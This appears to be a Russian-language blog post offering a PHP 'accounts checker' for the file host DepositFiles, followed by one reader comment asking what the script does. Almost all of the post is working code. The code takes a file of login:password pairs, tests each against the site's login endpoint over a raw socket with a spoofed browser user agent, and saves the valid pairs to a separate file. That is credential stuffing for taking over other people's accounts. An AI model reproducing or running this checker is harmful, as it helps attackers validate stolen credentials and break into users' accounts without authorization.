DepositFiles accounts checker

Думаю объяснять что это такое нет смысла, т.к все понятно по заголовку :]
Работает на сокетах.

<?php
#################################
# DepositFiles Accounts Checker
# by #Wolf#
# http://wolf-et.ru/
# License: gnu gpl v3
#################################
set_time_limit(0);
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11)"; # User Agent
$acclist="accounts.txt"; #Файл с аккаунтами вида логин:пароль
$vallist="valid.txt"; #куда будем писать валидные аккаунты
$account=file($acclist); #Помещаем аккаунты в массив
$valid=$invalid=0;
function Check($login,$pass) {
 $fp=fsockopen("depositfiles.com",80,$errno,$errstr,30); #открываем сокет
 $out = "GET /ru/login.php?go=1&login=$login&password=$pass HTTP/1.1\r\n";   # Отправляем заголовки
 $out .= "Host: depositfiles.com\r\n";
 $out .= "Keep-Alive: 300\r\n";
 $out .= "Connection: keep-alive\r\n";
 $out .= "User-Agent: ".$user_agent."\r\n";
 $out .= "Cookie: income=1\r\n";
 $out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
 fwrite($fp,$out);
 $ans = '';
 while (!feof($fp)) {
        $ans .= fgets($fp, 128);  # ответ сервера
    }
 fclose($fp);  # Закрываем сокеты
 return strpos($ans,"autologin=") ? true : false; # Проверяем
}
echo '<h3>Валидные логины:пароли</h3>';
for($i=0;$i<count($account);$i++) {  #цикл
 list($login,$pass) = explode(":",trim($account[$i]));  # разбиваем аккаунты на логин и пароль
    if (Check($login,$pass)) {  # Вызываем функцию проверки аккаунта
    echo $login.':'.$pass.'<br />';
    flush();
    ob_flush();
    $fd = fopen($vallist,'a+'); # открываем файл
    fputs($fd,$account[$i]); # записываем  в файл  рабочий акк
    fclose($fd);  # закрываем файл
    ++$valid;
    }else ++$invalid;
}
echo "<br><h3>Итого</h3>Рабочих  аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid."";
?>
    • Гость
    • Март 18th, 2010 00:00

    А мне не понятно. Что это за скрипт?

*

 
http://wolf-et.ru/wp-admin/page/library/